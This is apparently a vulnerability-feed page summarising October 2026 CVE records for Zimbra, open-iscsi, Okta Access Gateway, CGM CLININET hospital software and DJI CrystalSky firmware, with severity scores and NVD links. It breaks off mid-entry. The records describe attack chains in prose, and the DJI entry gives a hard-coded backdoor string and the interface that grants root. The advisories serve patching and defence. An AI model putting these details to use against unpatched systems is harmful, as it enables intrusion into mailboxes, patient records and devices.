NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter...
https://kevwire.com/record/CVE-2026-10632
A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter... (Oct 23, 2026).
A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter of the /h/rest document editor. The editor inserts package names into script attributes without HTML encoding. When combined with CVE-2026-50053, an attacker with an ordinary Zimbra account can supply their own authentication token and document identifiers in a URL and execute JavaScript in another signed-in user's Zimbra browser session when that user opens the URL. This permits reading mailbox data and performing authenticated actions as the victim. The issue affects ZCS 10.1.16 and was remediated in 10.1.17.
CVSS 8.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10632).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10632&date=2026-10-25).
Sources:
NVD CVE-2026-10632: https://nvd.nist.gov/vuln/detail/CVE-2026-10632
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10632&date=2026-10-25
A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter of the /h/rest document editor. The editor inserts package names into script attributes without HTML encoding. When combined with CVE-2026-50053, an attacker with an ordinary Zimbra account can supply their own authentication token and document identifiers in a URL and execute JavaScript in another signed-in user's Zimbra browser session when that user opens the URL. This permits reading mailbox data and performing authenticated actions as the victim. The issue affects ZCS 10.1.16 and was remediated in 10.1.17.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated...
https://kevwire.com/record/CVE-2026-115484
A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated... (Oct 23, 2026).
A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated buffer into adjacent heap memory. An attacker on the same network segment can send a crafted DHCP response to crash the daemon or corrupt its network configuration.
CVSS 7.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115484).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115484&date=2026-10-25).
Sources:
NVD CVE-2026-115484: https://nvd.nist.gov/vuln/detail/CVE-2026-115484
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115484&date=2026-10-25
A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated buffer into adjacent heap memory. An attacker on the same network segment can send a crafted DHCP response to crash the daemon or corrupt its network configuration.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet...
https://kevwire.com/record/CVE-2026-115486
A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet... (Oct 23, 2026).
A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet contains them. Additionally, the ARP table is updated unconditionally with attacker-controlled addresses from the packet headers. An attacker on the same network segment can send a minimal Neighbor Advertisement to poison the ARP table and redirect network traffic.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115486).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115486&date=2026-10-25).
Sources:
NVD CVE-2026-115486: https://nvd.nist.gov/vuln/detail/CVE-2026-115486
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115486&date=2026-10-25
A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet contains them. Additionally, the ARP table is updated unconditionally with attacker-controlled addresses from the packet headers. An attacker on the same network segment can send a minimal Neighbor Advertisement to poison the ARP table and redirect network traffic.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on.
https://kevwire.com/record/CVE-2026-115546
Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on. (Oct 23, 2026).
Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on. An authenticated user with an active session can modify the authentication source parameter, which may generate a SAML assertion granting access to the Admin Console.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115546).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115546&date=2026-10-25).
Sources:
NVD CVE-2026-115546: https://nvd.nist.gov/vuln/detail/CVE-2026-115546
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115546&date=2026-10-25
Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on. An authenticated user with an active session can modify the authentication source parameter, which may generate a SAML assertion granting access to the Admin Console.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values.
https://kevwire.com/record/CVE-2026-115547
An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values. (Oct 23, 2026).
An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values. An authenticated administrator can leverage this to execute system commands within the context of the OAG service account.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115547).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115547&date=2026-10-25).
Sources:
NVD CVE-2026-115547: https://nvd.nist.gov/vuln/detail/CVE-2026-115547
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115547&date=2026-10-25
An input validation issue in the Okta Access Gateway (OAG) Admin Console allows the processing of specially formatted configuration values. An authenticated administrator can leverage this to execute system commands within the context of the OAG service account.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal...
https://kevwire.com/record/CVE-2026-50053
A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal... (Oct 23, 2026).
A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal dispatch. RestFilter copies URL parameters specifying an authentication token, target account, target item and dispatch state into the request attributes consumed by the Classic Web Client. Combined with CVE-2026-10632 on ZCS 10.1.16, this allows an attacker to supply their own valid token and document identifiers and execute JavaScript in another user's signed-in browser session. ZCS 10.1.17 blocks that XSS chain by changing the document renderer, but retains the request attribute override.
CVSS 8.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50053).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50053&date=2026-10-25).
Sources:
NVD CVE-2026-50053: https://nvd.nist.gov/vuln/detail/CVE-2026-50053
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50053&date=2026-10-25
A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal dispatch. RestFilter copies URL parameters specifying an authentication token, target account, target item and dispatch state into the request attributes consumed by the Classic Web Client. Combined with CVE-2026-10632 on ZCS 10.1.16, this allows an attacker to supply their own valid token and document identifiers and execute JavaScript in another user's signed-in browser session. ZCS 10.1.17 blocks that XSS chain by changing the document renderer, but retains the request attribute override.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external...
https://kevwire.com/record/CVE-2026-93631
A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external... (Oct 23, 2026).
A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external account to a victim's mailbox. The OAuth callback does not bind its state value or authorization code to the initiating Zimbra session and instead selects the destination mailbox from the browser's current authentication cookie. On a deployment with the provider configured, an attacker can induce a signed-in victim to load a callback containing a fresh code for the attacker's provider account. This creates a persistent data source that imports attacker-controlled contacts or events. With bidirectional CalDAV synchronization, appointments subsequently created or edited in the linked calendar are also disclosed to the attacker. ZCS 10.1.16 and 10.1.20 are affected.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93631).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93631&date=2026-10-25).
Sources:
NVD CVE-2026-93631: https://nvd.nist.gov/vuln/detail/CVE-2026-93631
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93631&date=2026-10-25
A cross-site request forgery vulnerability in the OAuth extension of Zimbra Collaboration Suite (ZCS) Network Edition allows an attacker to link an attacker-controlled external account to a victim's mailbox. The OAuth callback does not bind its state value or authorization code to the initiating Zimbra session and instead selects the destination mailbox from the browser's current authentication cookie. On a deployment with the provider configured, an attacker can induce a signed-in victim to load a callback containing a fresh code for the attacker's provider account. This creates a persistent data source that imports attacker-controlled contacts or events. With bidirectional CalDAV synchronization, appointments subsequently created or edited in the linked calendar are also disclosed to the attacker. ZCS 10.1.16 and 10.1.20 are affected.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet...
https://kevwire.com/record/CVE-2026-93639
A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet... (Oct 23, 2026).
A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet configuration through ConfigureZimletRequest. The uploaded configuration can also add an attacker-controlled domain to the proxy allowlist of the default class of service. If a signed-in user in that class opens a crafted /service/proxy URL, Zimbra serves attacker-controlled HTML under its own origin. The resulting JavaScript can read mailbox data and perform authenticated actions as the victim. Exploitation requires a delegated-administrator account and access to the admin SOAP service; the browser compromise additionally requires the victim to open the crafted URL. ZCS 10.1.16 and 10.1.20 are affected.
CVSS 8.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93639).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93639&date=2026-10-25).
Sources:
NVD CVE-2026-93639: https://nvd.nist.gov/vuln/detail/CVE-2026-93639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93639&date=2026-10-25
A missing authorization vulnerability in Zimbra Collaboration Suite (ZCS) allows a delegated administrator with no explicit administrative grants to overwrite global Zimlet configuration through ConfigureZimletRequest. The uploaded configuration can also add an attacker-controlled domain to the proxy allowlist of the default class of service. If a signed-in user in that class opens a crafted /service/proxy URL, Zimbra serves attacker-controlled HTML under its own origin. The resulting JavaScript can read mailbox data and perform authenticated actions as the victim. Exploitation requires a delegated-administrator account and access to the admin SOAP service; the browser compromise additionally requires the victim to open the crafted URL. ZCS 10.1.16 and 10.1.20 are affected.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path.
https://kevwire.com/record/CVE-2025-30043
CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path. (Oct 23, 2026).
CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path. The endpoint is accessible without authentication, allowing an unauthenticated attacker in the adjacent network to retrieve the list of patient documents and download those documents. 


This issue was fixed in version 2026.MS3
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30043).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30043&date=2026-10-25).
Sources:
NVD CVE-2025-30043: https://nvd.nist.gov/vuln/detail/CVE-2025-30043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30043&date=2026-10-25
CGM CLININET is vulnerable to Missing Authentication for Critical Function in the /DocManagment path. The endpoint is accessible without authentication, allowing an unauthenticated attacker in the adjacent network to retrieve the list of patient documents and download those documents. 


This issue was fixed in version 2026.MS3

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content.
https://kevwire.com/record/CVE-2025-30045
CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content. (Oct 23, 2026).
CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content. Due to improper control of the code evaluated from these expressions, an authenticated, high-privileged attacker can cause arbitrary code to be executed with root privileges. 


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30045).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30045&date=2026-10-25).
Sources:
NVD CVE-2025-30045: https://nvd.nist.gov/vuln/detail/CVE-2025-30045
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30045&date=2026-10-25
CGM CLININET is vulnerable to Code Injection in the ConvExpr function, which processes Perl expressions into RTF document content. Due to improper control of the code evaluated from these expressions, an authenticated, high-privileged attacker can cause arbitrary code to be executed with root privileges. 


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data...
https://kevwire.com/record/CVE-2025-30046
In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data... (Oct 23, 2026).
In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data received from those external systems. An attacker in adjacent network able to send data to these HL7 communication processes can achieve remote code execution with root privileges. 


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.
CVSS 9.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30046).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30046&date=2026-10-25).
Sources:
NVD CVE-2025-30046: https://nvd.nist.gov/vuln/detail/CVE-2025-30046
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30046&date=2026-10-25
In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data received from those external systems. An attacker in adjacent network able to send data to these HL7 communication processes can achieve remote code execution with root privileges. 


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data.
https://kevwire.com/record/CVE-2025-30047
CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data. (Oct 23, 2026).
CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data. The server exposes an HTTP-based API, used by the administrative module, that exchanges data using Java object serialization. An attacker within the same local network is able to send requests to this API and transmit a crafted serialized object. When it is deserialized, it allows arbitrary code execution with root privileges on the server. 


This issue was fixed in version 2026.MS3
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30047).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30047&date=2026-10-25).
Sources:
NVD CVE-2025-30047: https://nvd.nist.gov/vuln/detail/CVE-2025-30047
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30047&date=2026-10-25
CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data. The server exposes an HTTP-based API, used by the administrative module, that exchanges data using Java object serialization. An attacker within the same local network is able to send requests to this API and transmit a crafted serialized object. When it is deserialized, it allows arbitrary code execution with root privileges on the server. 


This issue was fixed in version 2026.MS3

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The CGM CLININET application stores user passwords as unsalted MD5 hashes.
https://kevwire.com/record/CVE-2025-30049
The CGM CLININET application stores user passwords as unsalted MD5 hashes. (Oct 23, 2026).
The CGM CLININET application stores user passwords as unsalted MD5 hashes.


This issue was fixed in versions 2026.MS1 and 2026.MS3
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30049).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30049&date=2026-10-25).
Sources:
NVD CVE-2025-30049: https://nvd.nist.gov/vuln/detail/CVE-2025-30049
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30049&date=2026-10-25
The CGM CLININET application stores user passwords as unsalted MD5 hashes.


This issue was fixed in versions 2026.MS1 and 2026.MS3

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data...
https://kevwire.com/record/CVE-2025-30050
CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data... (Oct 23, 2026).
CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data provided by the user. An attacker from adjacent network can supply a crafted query parameter to have an attacker-controlled module imported which results in arbitrary code execution with root privileges.


This issue was fixed in version 2026.MS3
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30050).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30050&date=2026-10-25).
Sources:
NVD CVE-2025-30050: https://nvd.nist.gov/vuln/detail/CVE-2025-30050
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30050&date=2026-10-25
CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data provided by the user. An attacker from adjacent network can supply a crafted query parameter to have an attacker-controlled module imported which results in arbitrary code execution with root privileges.


This issue was fixed in version 2026.MS3

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing.
https://kevwire.com/record/CVE-2025-30052
The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing. (Oct 23, 2026).
The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing. Access is granted based solely on the client's source IP address. An attacker able to spoof an allowed IP address, can bypass this check and gain the ability to edit files on the affected system. 


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30052).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30052&date=2026-10-25).
Sources:
NVD CVE-2025-30052: https://nvd.nist.gov/vuln/detail/CVE-2025-30052
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30052&date=2026-10-25
The rsyncd service of the CGM CLININET is vulnerable to Authentication Bypass via IP spoofing. Access is granted based solely on the client's source IP address. An attacker able to spoof an allowed IP address, can bypass this check and gain the ability to edit files on the affected system. 


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CGM CLININET is vulnerable to local privilege escalation.
https://kevwire.com/record/CVE-2025-30054
CGM CLININET is vulnerable to local privilege escalation. (Oct 23, 2026).
CGM CLININET is vulnerable to local privilege escalation. The service that processes incoming HL7 messages runs with root privileges, but due to incorrect permissions, its scripts and configuration files can be modified by the uhcapache user. An attacker with uhcapache privileges can modify these files to execute arbitrary code as root.


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-30054).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30054&date=2026-10-25).
Sources:
NVD CVE-2025-30054: https://nvd.nist.gov/vuln/detail/CVE-2025-30054
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30054&date=2026-10-25
CGM CLININET is vulnerable to local privilege escalation. The service that processes incoming HL7 messages runs with root privileges, but due to incorrect permissions, its scripts and configuration files can be modified by the uhcapache user. An attacker with uhcapache privileges can modify these files to execute arbitrary code as root.


The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a...
https://kevwire.com/record/CVE-2026-114353
Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a... (Oct 23, 2026).
Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a physically-present attacker with USB access to execute arbitrary OS commands as root by sending the hard-coded magic string 'dji26656677' to the USB-gadget serial interface (/dev/ttyGS0), after which each subsequent line is passed to system().
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114353).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114353&date=2026-10-25).
Sources:
NVD CVE-2026-114353: https://nvd.nist.gov/vuln/detail/CVE-2026-114353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114353&date=2026-10-25
Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a physically-present attacker with USB access to execute arbitrary OS commands as root by sending the hard-coded magic string 'dji26656677' to the USB-gadget serial interface (/dev/ttyGS0), after which each subsequent line is passed to system().

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a...
https://kevwire.com/record/CVE-2026-114354
Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a... (Oct 23, 2026).
